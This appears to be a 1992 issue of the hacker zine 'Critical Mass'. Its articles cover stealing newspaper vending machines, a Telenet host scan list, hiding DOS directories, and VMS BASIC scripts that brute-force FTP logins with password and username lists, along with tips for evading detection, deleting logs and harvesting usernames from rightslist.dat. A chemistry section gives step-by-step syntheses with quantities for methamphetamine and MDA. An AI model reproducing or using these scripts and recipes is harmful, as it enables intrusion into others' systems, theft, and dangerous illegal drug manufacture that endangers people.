|
|
|
How to support yourself doing little, or nothing
|
|
at all.
|
|
|
|
By Bored SAOO Members Late One Night
|
|
___________________________________________
|
|
|
|
|
|
|
|
|
|
Here we will discuss the infamous "Democrate Fraud"
|
|
method.
|
|
|
|
|
|
I take no resposiblity for any prosecutions, damages,
|
|
injuries, etc. Attempt at your own risk...
|
|
|
|
|
|
|
|
Though, this method has never been tested, along with myself
|
|
and five fellow SAOO members thought of this while sitting
|
|
around a dead Democat Paper Dispenser. Simply follow the
|
|
following steps....
|
|
|
|
|
|
1> Getting the Machine
|
|
|
|
Get you hands on a Democat Paper Machine. To do this, take
|
|
three of your fellow comrades in one vechicle, with a
|
|
large back seat/trunk <A Van is ideal> and approach
|
|
a nice, lonely paper machine. Get two people to grab it
|
|
while one watchs out. If the machine is bolted down,
|
|
use bolt cutters.
|
|
|
|
2> Opening it
|
|
|
|
Cut the lock off that secures the brace pin <Located
|
|
near the top on the right hand side on most machines>.
|
|
Remove the brace pin and "open de hatch". Remove the
|
|
money. Replace the lock <that secures the brace pin>
|
|
and secure with new lock.
|
|
|
|
* NOTE: Do not beat it open! It will only serve as a
|
|
nice plant stand, or as it was at Abigail's house,
|
|
"That thing in the corner."
|
|
|
|
3> Re-distribution of wealth
|
|
|
|
There is still more money to be made. Now, take the
|
|
paper machine <Now with YOUR lock on it> and drop it
|
|
off in a somewhat populated area. Not in a place so
|
|
populated that the real paper men will see it, but
|
|
in a back area <I.E. - By a pool near apartments,
|
|
in a laundry room in apartments>. In other words,
|
|
where the real paper man won't see it.
|
|
|
|
Now, every morning goto a paper stand <A legit stand that
|
|
is!> and put in your 50 cent <$1.50 on Sundays!> and
|
|
remove ALL the papers.
|
|
|
|
Now return to YOUR paper stand and put in all the papers
|
|
you just got into your paper machine with your lock on
|
|
it!
|
|
|
|
Now, every night, return and unlock your paper stand and
|
|
collect your money! Repeat this process and distribute
|
|
your stands around as much as possible. Start this entire
|
|
process over again....
|
|
|
|
|
|
4> Closing notes.....
|
|
|
|
|
|
Though past experiences of certain members of the SAOO
|
|
<Shadow Hacker, Abigail, and Dementia Meister>, they
|
|
got a whole $5.00 on a stolen machine <That they beat
|
|
open, because of lack of bolts cutters>. The machine
|
|
they got was in a area not to populated.
|
|
|
|
We estimate that a real popular area, you could maybe
|
|
get out of one box $15 dollars. This is a problem,
|
|
the paper people already got boxes there. We figure that
|
|
a box in a more ideal area for you will probably will
|
|
average $7.50 on weekdays.
|
|
|
|
Sudays are another story. You might make a possible
|
|
$20 dollars for that day. So for one box, in a decent
|
|
location, adverage is......
|
|
|
|
Week : $65.00
|
|
Month : $260.00
|
|
Year : $3120.00
|
|
|
|
With this in effect, lets say you can operate 5 Boxes
|
|
max, safely and effectively. Lets average that....
|
|
|
|
Week : $325.00
|
|
Month : $1300.00
|
|
Year : $15,600.00
|
|
|
|
Which is, of course, tax free. This should be efficent
|
|
to keep up with most of your bills and whatnot. With a
|
|
real job, you could make real money! Or, if you are
|
|
unlike me, collect welfair and live like a king! Welp
|
|
there you go!
|
|
|
|
|
|
<P.S. - Don't take this text TO literally!>
|
|
|
|
|
|
---==<Beaver>==---
|
|
|
|
|
|
Idea conceived by SAOO members - The Beaver, Shadow Hacker,
|
|
Abigail, Dementia Meister and Section 8.
|
|
|
|
Thought up just before before getting rid of a beat up
|
|
box and hacking on machines at Utaha and Miami Fl.
|
|
|
|
<July 24, 1992>
|
|
|
|
|
|
|
|
______________________________________________________________
|
|
|
|
The VAX/VMS FTP Batch Hack.
|
|
Written By The Beaver
|
|
________________________________________________
|
|
|
|
|
|
|
|
When I came up with this method about a year and a half ago, I never
|
|
knew how good it would work out for me. I have cracked more accounts using
|
|
this method than I can possibly think of. In order to use this method, one
|
|
must of some sort of programming knowlege and understand, at least somewhat,
|
|
how VMS works.
|
|
First off, let me briefly explain the method before we actually go
|
|
into coding or anything like that. FTP <File Transfer Protocal> is used as
|
|
a file transfer method from one machine to another. What really makes this
|
|
great is that any machine that supports FTP can be hacked using this method.
|
|
This means that you can use you hacked VMS system to hack any other
|
|
system that supports FTP that runs any OS! Heres how the idea came to me. One
|
|
night, I was hacking on a VMS system somewhere on the Internet, and I
|
|
remembered that everytime you fail a account, the user is notified that there
|
|
was a invald login attempt, and if you have to many invalid attempts in a
|
|
given time, bells and whistles go off, telling the operator that a "breakin"
|
|
is in progress. This can be a real bummer.
|
|
Well I got to thinking that this "front door" hacking was really becoming
|
|
a drag, then it dawned on me. No logs or records of invalid attempts are
|
|
recorded <At least to my knowlege> by FTP, which you have to "login" to send
|
|
files to the remote machines! Now I'm set. I'm hacking like hell, the another
|
|
idea "spawn's" on me.
|
|
What if I upload a ton of commonly used passwords, write a program that
|
|
will create a batch job that will attempt all the passwords on the accounts
|
|
that I was hacking. Then I could "submit it" and let it hack for me? Trust
|
|
me, it worked like a dream.
|
|
From that, I came up with tons of variations of the program. Well,
|
|
lets get started with the technical info.
|
|
All the code was written under VMS BASIC, because everybody and there
|
|
grandmothers <The ones who hack> knows BASIC. The first example it a hack
|
|
over internet on a single account with a password list.
|
|
|
|
<Title: One User, Multiple Passwords>
|
|
|
|
|
|
|
|
5 on error goto 50 ! This will Catch EOF
|
|
|
|
10 user$="bob" ! This is ther username
|
|
open "passwords.dat" for input as#2 ! Open File w/ Favorite Passwds
|
|
open "hack.bat" for output as#1 ! Our Batch That Will Hack.
|
|
10 input#2, pass$ ! Grab A Password
|
|
|
|
20 print#1,"$ ftp <Target Address> /user="+username$+" /pass="+pass$
|
|
|
|
30 print#2,"quit" ! Where Tried Our Password, Now Quit.
|
|
40 goto 20 ! Do It All Over Again.
|
|
|
|
50 resume 51
|
|
51 close#1 ! Got The EOF, now close
|
|
close#2 ! up and exit.
|
|
end
|
|
|
|
|
|
That simple. We now have a file called "hack.bat", which will do our
|
|
hacking for us. Ok, so we are ready to kick it off. Type the following.
|
|
|
|
Submit hack.bat /noprint / notify
|
|
|
|
Now, let me explain a little more. In line 20, where we FTP to the
|
|
desired address, you must keep the "$" in there. If it is removed, the
|
|
Batch job will not work correctly. This tell the VAX that this is a DCL
|
|
level command, so it must stay. There is none in front of the "quit", because
|
|
by then, we are not at DCL, but rather, we are using the FTP program.
|
|
Heres something very important to remember also. When you "submit"
|
|
the batch job, make sure the "/noprint" is present! This tells the system
|
|
NOT to dump batch information to the printer. If you don't do this, everyone
|
|
in the computer center will see what you are up to! That ain't cool!
|
|
The "/notify" is optional. This will simply tell you when your
|
|
batch job has completed.
|
|
Now, while its doing its thing, go off and do something else for
|
|
a while <I.E. Setup another one, eat, sleep for a change>. Okay, the batch
|
|
job completes, now you want to extract all the cool information. You will
|
|
notice that there is a big, fat log called "hack.log". This is a record
|
|
of everything that happened in our batch job. Now we check to see if we
|
|
got in or not. This part you might have to play with. I use the VMS "search"
|
|
command at this point, like thus........
|
|
|
|
Search hack.log logged
|
|
|
|
This will search the entire log for the work "logged". So if it finds
|
|
one, it will display the line that had that word. What we are looking for is
|
|
the nice key words "logged in". From here it will dump to you whether you
|
|
suceeded in logging in or not. One problem, it will only show that line, so
|
|
you might have to whip-up another BASIC program that will search for all the
|
|
important lines that contain the information you want <I.E. - THE PASSWORD!>.
|
|
There ya have it! Possible hours of work all nicely automatied for ya!
|
|
The only problem? There will be a FTP logged stored in the targets directory.
|
|
No big deal, you have there password, go over and delete it.
|
|
The following is more code, with a brief discription of what it does.
|
|
All "submits" should be done like before.
|
|
|
|
<Title: The Gobber Scan>
|
|
|
|
|
|
5 on error goto 100 ! Catch That Thare EOF
|
|
|
|
10 open "usernames" for input as#1 ! Open A List Of Usernames
|
|
open "hack.bat" for output as#2 ! Opens Our Work Horse
|
|
|
|
20 input#1,user$ ! Get a Username
|
|
30 print#2,"$ ftp <Target Address> /user="+user$+" /pass="+user$
|
|
|
|
40 print#2,"quit" ! Try Then Quit FTP
|
|
50 goto 20
|
|
|
|
100 resume 111
|
|
111 close#1 ! Got The EOF, Now
|
|
112 close#2 ! Close Up The Files
|
|
113 end
|
|
|
|
|
|
This is the one I find that is most successful! It trys the persons
|
|
username as a password. This works real nice on VAX/VMS systems, because
|
|
VMS accounts usually default there passwords to the username! In one case,
|
|
using this method, I cracked 166 account on a system in Utah! No shit!
|
|
|
|
|
|
<Title: Multiple Usernames, Multiple Passwords>
|
|
|
|
|
|
5 on error goto 200 ! Handles Them EOF's
|
|
|
|
10 open "username.dat" for input as#1 ! Opens Username File
|
|
open "password.dat" for input as#2 ! Opens Password File
|
|
open "hack.bat" for output as#3 ! Our Electro-Hacker Hero
|
|
|
|
20 flag=1 ! Determines Who Got The
|
|
input#1,user$ ! EOF
|
|
|
|
30 flag=2 ! Determines Who Got The
|
|
input#2,pass$ ! EOF
|
|
|
|
40 input#3,"$ ftp <target address> /user="+user$+" /pass="+pass$
|
|
|
|
print#3,"quit" ! Try and exit
|
|
|
|
50 goto 30
|
|
|
|
200 resume 210
|
|
210 if flag=2 then ! If At The End Of Pass
|
|
close#2 ! File, Close It, Get
|
|
open "password.dat" for input as#2 ! Another User And
|
|
goto 20 ! Start Over
|
|
|
|
220 if flag=1 then ! If At The End A User
|
|
close#1 ! File, Close And Exit.
|
|
close#2
|
|
close#3
|
|
end
|
|
|
|
|
|
|
|
|
|
Okay, that should pretty much cover your needs. There are only
|
|
a few drawbacks to FTP Batch Hacker. It sometimes requires a bit of disk
|
|
space, so is you have a disk quota of a hundred blocks, forget about it.
|
|
|
|
I would also like to say that when you actually use this
|
|
method, It would be very wise to change the names for the files used by the
|
|
programs above. After all, it don't look to cool to have "passhacker.bat" in
|
|
the queue for all to see! Yesh!
|
|
|
|
Before I end this article, I would like to include one more detail
|
|
that works really nice with this method. Lets say your on this really nice
|
|
VAX/VMS and ya want to keep you access there as long as possible. What you
|
|
need is as many accounts as possible. Heres what I do, type the following
|
|
at DCL........
|
|
|
|
Type sys$common:[sysexe]rightslist.dat
|
|
|
|
This will dump all usernames <And group names to> along with alot of
|
|
random <well, random to use> ctrl characters. Capture this, and write a filter
|
|
and re-upload the nice clean userlist. After that, run one of these guys with
|
|
the user's you got and I can almost bet ya that you will get at least a few
|
|
accounts.
|
|
This works really great when you use the DECNET to jump on other
|
|
systems that are a part of the network! You can Sometimes
|
|
crack open a entire cluster <Or two, three, four, etc, etc!>.
|
|
|
|
Well, thats all there is to it. That simple and fun. Also, if anyone
|
|
writes a good filter for rightslist ON a VMS system, I would very much like
|
|
to see your code, because I have had one hell of a time getting one to
|
|
work myself.......
|
|
|
|
|
|
Note: After producing this article, I found out why the FTP never makes logs
|
|
of invalid attempts. The reason is because because most of the time
|
|
the people who have setup the system have not went though all the
|
|
security means to keep stuff like this from happening. Not to worry
|
|
though. I have only seen one system out of about 100 that actually
|
|
had there FTP server setup right. The reason that they had it setup
|
|
right was because they where FTP hacked so many times by fellow SAOO
|
|
members, that they figured it out. Those people are at FSU, so don't
|
|
hack on 'em or use this method on 'em. They got enough problems as it
|
|
is.
|
|
|
|
If you do not wish to write your own Rightslist filter, there are
|
|
ton of RL filters written by SAOO members. They are Phill <any version
|
|
higher than 1.0 for speed>, Written by Dementia Meister and Abigail
|
|
Natias, and also RIF <For VAX/VMS, and by far the quickest because
|
|
you never need to download the RL file, because it filter's it
|
|
online>, which is written in C. Created by Laiazon and Tech advisor -
|
|
The Beaver.
|
|
|
|
<Phill was also included with this issue of Critical Mass!>
|
|
|
|
|
|
|
|
<C>1992 ---==<Beaver>==---
|
|
|
|
|
|
|
|
______________________________________________
|
|
l l
|
|
l Generic SAOO Telenet Directory l
|
|
l Part II l
|
|
l Scanned By The Beaver l
|
|
l____________________________________________l
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Information on Telenet:
|
|
|
|
|
|
The First thing you need to do is obtain a dialup list. To do
|
|
this, call 1-800-424-9494 <1200 7E1, or 1200 8N1 with hit bit
|
|
striping on>. Once on, you will receive a "TERMINAL=", which at
|
|
this point, enter your terminal type, or just press return <TTY>.
|
|
You will now get a "@" prompt. From here type "c mail". At
|
|
the "Username?" prompt, enter "phones" and the same for the
|
|
"Password?" prompt. At this point, simply follow the directions,
|
|
and you will get your local dialup<s>. One thing I would like to
|
|
note, when using the 300/1200 dialups, when you connect, simply hit
|
|
return a few times. When using the 2400 dialups, you must enter "@"
|
|
followed by a carriage return.
|
|
|
|
For more information on Telenet, I advise you to get
|
|
Hacker's Unlimited issue#1 or LOD/H Technical Journal for more
|
|
information on Telenet. I did not wish to make this a text file on
|
|
Telenet, but rather a directory of listings scanned by myself and
|
|
fellow S.A.O.O members.
|
|
|
|
The "area" that is implied in this list basicly means that is the
|
|
overall area that was covered. Just because a machine was found in a scan
|
|
in a specific area does not always mean it IS in that area. At the bottom
|
|
of the list for "interconnecting" hosts.
|
|
|
|
|
|
|
|
Part I consisted of the New York and half the Washington D.C.
|
|
area. In this issue is the rest of the D.C. along with 904,
|
|
305 and the 404. Please enjoy.
|
|
|
|
|
|
|
|
|
|
|
|
Prefix: 904 <North Florida Area> Scanned: 0-999
|
|
|
|
Suffix Information O/S
|
|
------ -------------------------------------------------------------- ----
|
|
163 - Refuse Collect Calls
|
|
231 - Refuse Collect Calls
|
|
236 - Refuse Collect Calls
|
|
237 - Refuse Collect Calls
|
|
|
|
|
|
Prefix: 305 <South Florida Area> Scanned: 0-999
|
|
|
|
Suffix Information O/S
|
|
------ -------------------------------------------------------------- ----
|
|
004 - Martin Marietta - SIM3278
|
|
022 - INH6.NET.FDP <404 60033>
|
|
034 - Martin Marietta Proprietary Network VM
|
|
035 - "ENTER SWITCH CHARACTERS" Unknown
|
|
059 - ".INVALID COMMAND", VTAM?
|
|
105 - Refuse Collect Calls
|
|
106 - Refuse Collect Calls
|
|
120 - Refuse Collect Calls
|
|
121 - Refuse Collect Calls
|
|
122 - Refuse Collect Calls
|
|
130 - Unknown
|
|
135 - Refuse Collect Calls
|
|
136 - INH6.NET.FDP <404 60033>
|
|
140 - ".INVALID COMMAND" , VTAM?
|
|
141 - "Select Desired System:" Server
|
|
142 - Telenet PAD
|
|
145 - Telenet PAD
|
|
149 - S901.net.buc
|
|
150 - Refuse Collect Calls
|
|
156 - Telenet PAD
|
|
162 - Unknown
|
|
170 - Refuse Collect Calls
|
|
171 - "ENTER SWITCH CHARACTERS"
|
|
172 - Unknown
|
|
175 - Telenet PAD
|
|
177 - Unknown
|
|
178 - s901.net.bus
|
|
237 - Comcast Information Service VM
|
|
241 - Unknown
|
|
245 - Refuse Collect Calls
|
|
247 - "SEND" Unknown
|
|
250 - "aci login:" Unix.
|
|
253 - "PACKET/74" SNA, must be IBM
|
|
254 - "PACKET/74"
|
|
339 - "PACKET/74"
|
|
342 - Refuse Collect Calls
|
|
347 - "PACKET/74"
|
|
362 - Clarion Software On-line Info. Service, type "new" for new user
|
|
363 - Clarion Software
|
|
364 - Clarion Software
|
|
365 - Clarion Software
|
|
366 - Clarion Software
|
|
370 - Refuse Collect Calls
|
|
371 - VAX/VMS in Another Laug! VAX/VMS
|
|
372 - Refuse Collect Calls
|
|
438 - Refuse Collect Calls
|
|
461 - Refuse Collect Calls
|
|
463 - Martin Marietta VM
|
|
464 - Refuse Collect Calls
|
|
465 - Unknown
|
|
467 - HP Unix
|
|
471 - Unknown
|
|
472 - Refuse Collect Calls
|
|
566 - Busy At Scan
|
|
567 - Busy At Scan
|
|
644 - ".INVALID COMMAND"
|
|
645 - ".INVALD COMMAND"
|
|
|
|
Interconnection:
|
|
|
|
[305136 - 404 60033]
|
|
|
|
|
|
Prefix: 202 <Washington D.C Area> Scanned: 400-999 <See CM#6 for 0-400>
|
|
|
|
Suffix Information O/S
|
|
------ -------------------------------------------------------------- ----
|
|
403 - Refuse Collect Calls
|
|
433 - Refuse Collect Calls
|
|
447 - Access Not Allowed From PAD
|
|
448 - Access Not Allowed From PAD
|
|
449 - Access Not Allowed From PAD
|
|
453 - Telenet PAD
|
|
454 - VAX/VMS GBS VAX/VMS
|
|
455 - Refuse Collect Calls
|
|
456 - Refuse Collect Calls
|
|
458 - Refuse Collect Calls
|
|
459 - Refuse Collect Calls
|
|
462 - Access Not Allowed From PAD
|
|
463 - Access Not Allowed From PAD
|
|
465 - Refuse Collect Calls
|
|
466 - Refuse Collect Calls
|
|
467 - Refuse Collect Calls
|
|
468 - Refuse Collect Calls
|
|
469 - Refuse Collect Calls
|
|
472 - Refuse Collect Calls
|
|
473 - Access Not Allowed From PAD
|
|
474 - Access Not Allowed From PAD
|
|
475 - Access Not Allowed From PAD
|
|
477 - "UPI>" Unknown
|
|
478 - "UPI>" Unknown
|
|
479 - "UPI>" Unknown
|
|
550 - "UPI>" Unknown
|
|
555 - Access Not Allowed From PAD
|
|
616 - Refuse Collect Calls
|
|
617 - Refuse Collect Calls
|
|
652 - Refuse Collect Calls
|
|
653 - Refuse Collect Calls
|
|
654 - Refuse Collect Calls
|
|
810 - Telenet Async to 3270
|
|
|
|
|
|
Prefix: 404 <North Georga Area> Scanned: 0-999
|
|
|
|
Suffix Information O/S
|
|
------ --------------------------------------------------------------- ----
|
|
|
|
005 - Connects/disconnects with no disconnect msg
|
|
022 - Refuse Collect Calls
|
|
029 - Telenet PAD?
|
|
053 - VTAM Server
|
|
057 - Unknown
|
|
059 - Unknown
|
|
070 - Unknown
|
|
077 - Unknown
|
|
079 - Unknown
|
|
113 - Refuse Collect Calls
|
|
114 - Refuse Collect Calls
|
|
124 - Access Not Allowed From PAD
|
|
127 - Access Not Allowed From PAD
|
|
128 - Access Not Allowed From PAD
|
|
140 - Access Not Allowed From PAD
|
|
141 - Access Not Allowed From PAD
|
|
142 - Access Not Allowed From PAD
|
|
143 - Unknown
|
|
161 - Connect/disconnects
|
|
162 - Connect/disconnects
|
|
168 - Unknown
|
|
171 - "OK" Unknown
|
|
244 - Connect/disconnects
|
|
247 - Unknown
|
|
277 - Connect/disconnects
|
|
343 - Access Not Allowed From PAD
|
|
344 - Access Not Allowed From PAD
|
|
349 - Primenet
|
|
351 - Unknown VAX/VMS
|
|
352 - Unknown VAX/VMS
|
|
358 - "Please login to network U:"
|
|
359 - "Please login to network U"
|
|
362 - Access Not Allowed From PAD
|
|
372 - System/88
|
|
373 - System/88
|
|
374 - Refuse Collect Calls
|
|
375 - "Please login to network U:"
|
|
532 - Refuse Collect Calls
|
|
556 - Refuse Collect Calls
|
|
557 - Refuse Collect Calls
|
|
558 - Refuse Collect Calls
|
|
559 - Refuse Collect Calls
|
|
560 - Unknown VAX/VMS
|
|
633 - Unknown VAX/VMS
|
|
635 - Unknown VAX/VMS
|
|
60033 - INH6.NET.FDP
|
|
|
|
|
|
|
|
---------------------------------------------
|
|
|
|
Hidding Directories
|
|
By Dementia Meister
|
|
----------------------------------
|
|
|
|
Here is how to really hide directorys. First off, you need a HEX-Editor,
|
|
like DISKEDIT.EXE from Norton Utilities v6.01(the one I recommend). Then
|
|
you need a directory that you want to hide. Warning: Play/test this
|
|
method out on a floppy first so you do not screw up your HD. I have lost
|
|
many of data (my fault, by lack of knowledge). This method is relatively
|
|
safe as long as you do not calibrate, speedisk, etc.. your HD. Well back
|
|
to the task at hand, go into the HEX-Editor and find your DIR. Now this
|
|
is the tricky part. Go to the DIR name and change it to an ext. only,
|
|
plus add the HIDDEN attribute to it. Now almost nothing can find your
|
|
DIR, not NCD, not DOS, not anything BUT a HEX-Editor that you manually
|
|
go and find. To UNHIDE the DIR, you go into the HEX-Editor find the
|
|
DIR change it to a legitamate name and wall-la<GRIN> you have it.
|
|
|
|
|
|
ThanX from the EDITOR of this INFO.
|
|
-=[ ]). |\|\. ]=-
|
|
(Dementia Meister)
|
|
|
|
|
|
|
|
|
|
Welcome to Down and Dirty Chemistry 101
|
|
|
|
|
|
This file is for those who wish to make drugs in thier own home, to sell
|
|
or just to take. Unlike most how to files on dope manufacture, this one is
|
|
for people who are more worried about getting dope made than getting it 100%
|
|
pure and of pharmacutical quality. These methods are the quickest and most
|
|
simple around. You don't need a PhD. to make these compounds, but a little
|
|
knowledge of chemistry is a must.
|
|
|
|
* DISCLAIMER *
|
|
This where most people leave a message about how the file is for informa-
|
|
tional use only. BULLSHIT, if you are old enough to make these drugs then you
|
|
are old enough to decide for yourself if you want to take them or not. I say
|
|
go right ahead, make 'em then take 'em. Yea it's illegal, so BE CAREFUL, but
|
|
if you aren't going to use this file then why keep it? pass it on to someone
|
|
who will, and scam some of thier first batch as an info retrieval fee.
|
|
|
|
|
|
TYRAMINE
|
|
|
|
Tyramine is a fairly potent stimulant that is found naturally in cheese.
|
|
Don't even think about extracting it. It is easily made from the amino acid
|
|
tyrosine by decarboxilating it. Tyrosine is rather carefully watched by the
|
|
DEA, so don't buy it from a chem. supply comany, no matter how much cheaper
|
|
it is there. It is available as the free form amino acid from most any health
|
|
food store.
|
|
To decarboxilate the tyrosine at home, simply heat it with barium hydroxide
|
|
and seperate tyramine from the solution. Tyramine and tyrosine are both only
|
|
slighty soluble in water, so filtering with hot water should remove most of
|
|
the impurities and leave you with tyramine and unreacted tyrosine. The entire
|
|
synthesis could take place in a coffee pot.
|
|
|
|
|
|
|
|
* MUSCIMOLE *
|
|
|
|
This is another drug with a synthesis so easy, it is funny. It is the
|
|
active compound in many old world mushrooms, and may well be the first drug
|
|
that early man tripped on. I have never tried it, but I heard that it can
|
|
cause a few unpleasent effects (muscle twitching, dizziness). It is still
|
|
legal in some states and ibotenic acid is fairly sfe to order from a supply
|
|
company.
|
|
To make muscimole, reflux ibotenic acid in 10 times it's weight of water.
|
|
|
|
* METHAMPHETAMINE *
|
|
|
|
Crank, crystal meth, wire: all words known and loved by speed freaks around
|
|
the world. This is the mother of all amphetamines, a small line will wire you
|
|
for 12 hours. There are many ways to go about making crank, if you have
|
|
access to an organic chemistry lab. For those who don't, this may be the
|
|
simplest approach. This method uses ephedrine as the main precurser because
|
|
it is very similar in structure to crank. Look them both up and see.
|
|
All you need to do is replace an OH group with a hydrogen atom.............
|
|
No Problem. Ephedrine is available from suppliers in the back of magazines
|
|
(Penthouse, Cosmopoliton) for about $20 for 1,000 25mg tablets, just extract
|
|
the pure ephedrine out.
|
|
Put a 2 liter flask into an ice bath with a stirrer in one neck and at
|
|
least one neck to pour chemicals into. Add 360 ml chloroform, then 360 g of
|
|
phosphorus pentachloride and stir for 1/2 hour. Then add 240 g of ephedrine
|
|
hydrochloride over 45 minutes, put in 60 ml more chloroform, and stir for 2
|
|
hours. Let the brew stand in ice for 45 min. and decant the juice off, DON'T
|
|
let the left over PCl5 come over, filter if any does. Add mineral spirits
|
|
until the total volume is 4 liters, then let the chlorephedrine crystalize
|
|
in the freezer for an hour. Filter and dry your crystals.
|
|
To make methamphetamine from chlorephadrine you must replace the Cl atom
|
|
with a hydrogen. There are many catalysts that will work, zinc is cheap and
|
|
easy to get, but gives a rather low yield of speed. Palladium is probably the
|
|
best way to go.
|
|
Take a champagne bottle, 2L is a good size, and wrap it in duct tape to be
|
|
safe. Add 50g anhydrous sodium acetate and 700ml of distilled water. Make a
|
|
buffer solution by adding acetic acid until the pH is 7. Add 2g of palladium
|
|
, either on charcoal or barium sulfate, then 125g of chlorephadrine. Attach
|
|
a cylender of H gas and increase to 30lbs pressure. Keep this pressure up
|
|
for several hours, until H stops being absorbed. Stir with magnetic stirer
|
|
or if need be just shake it regularly over the whole time.
|
|
Decant off the liquid and filter to remove the catalyst. make the solution
|
|
strongly basic (pH 10-11) with NaOH and shake like hell for about 5 min.
|
|
Extract with Benzene and discard the water layer. Fractional distillation
|
|
is required to seperate the chorephadrine from the meth, the meth comes over
|
|
first followed immediatly by chlorephadrine.
|
|
Palladium black on charcoal is on the DEA watched chemical list, be careful
|
|
obtaining it. The Merk index should have a formula for making it. If you go
|
|
with the zinc use about twice as many moles as you would with palladium.
|
|
|
|
|
|
*MDA*
|
|
|
|
|
|
Ahh, the origional love drug! This is essentially the same as XTC, but as
|
|
it is easier to make and stronger I will give this formula instead.
|
|
Safrole is the main precurser and can be obtained in sasafrass oil which
|
|
is available at any store that sells herbs, it is about 80% safrole by volume
|
|
and pure safrole can be distilled from the oil under a vacuum. When the
|
|
distillate appears to be a homogenious oil, collect it in a clean flask, this
|
|
is safrole.
|
|
In a glass vessel, in an ice bath, slowly add 450g concentrated sulfuric
|
|
acid to 400g acetonitrile. Keep the temperature under 10 degrees C while
|
|
making the addition. Take the mixture out of the ice bath and add 236g safrole
|
|
Stir occasionally and watch the temperature. When the solution reaches 80 deg.
|
|
C put the flask back in the ice bath and then pour into a gallon of ice water
|
|
with 18 oz NaOH in it. Stir while pouring.
|
|
Decante the yellow oily layer on top into another flask. Add 10 times the
|
|
volume of 10% KOH in 190 proof vodka. Reflux for 6 hours. Boil away most of
|
|
the alcohol under a vacuum. Add water to dissolve the KOH and extract your
|
|
dope with benzene. Distill under a vacuum and collect the fraction coming
|
|
over at about 125 deg. C (at about 20 torr). Crystallize in your freezer, and
|
|
filter. Dry the crystals. One "hit" is about 100mg.
|
|
|
|
|
|
This is all the space and time I have to write. Expect D$DChem II in the
|
|
next issue of Critical Mass. If you have any questions or comments you can
|
|
reach me on any SAOO support bbs. Address mail to Art Phish. I would be happy
|
|
to include any synthesis that is requested in the next issue.
|
|
|
|
|
|
Art Phish
|
|
|
|
|
|
|
|
_________________________________________
|
|
|
|
Closing Notes
|
|
__________________________
|
|
|
|
|
|
|
|
|
|
Welp, that concludes yet another fine issue of Critical Mass. In
|
|
issue number 8, perpare yourself for the following......
|
|
|
|
SAOO Telenet Directory Part III
|
|
Hacking The Department Of Motor Vec.
|
|
More Chemistry, from Art Phish
|
|
Probably a article on Telenet considering the resent questions
|
|
I have received.
|
|
|
|
|
|
An much, much more! If you would like to be involved in
|
|
computer conference, please leave The Beaver Email at one of the
|
|
location given at the beging of this issue of Critical Mass.
|
|
Until the next issue, chow... And Happy, Safe! hack'in.
|
|
|
|
|
|
If you have any article pretaining to not so often
|
|
talked about subjects, please E-mail the Beaver. Also, after
|
|
the writing of "How to take DEC Servers Off the air", there
|
|
seemed to be the misconception on why the article was produced.
|
|
It seems that some people believed that the article was put
|
|
out because I am "a bad person whom only likes destroying data".
|
|
This is a pretty far fetched thing to say. Shortly after the
|
|
articles release, I heard that a friend of mine at DOR <Dept.
|
|
of Revenue> read that part and then secured there server more.
|
|
That, my friend, was the purpose of the article. To get information
|
|
out there, among the people. Till the next CM, I guess I will
|
|
be seeing ya on the nets.... Chow!
|
|
|
|
|
|
---==<Beaver>==---
|
|
|
|
|
|
Member S.A.O.O.
|
|
|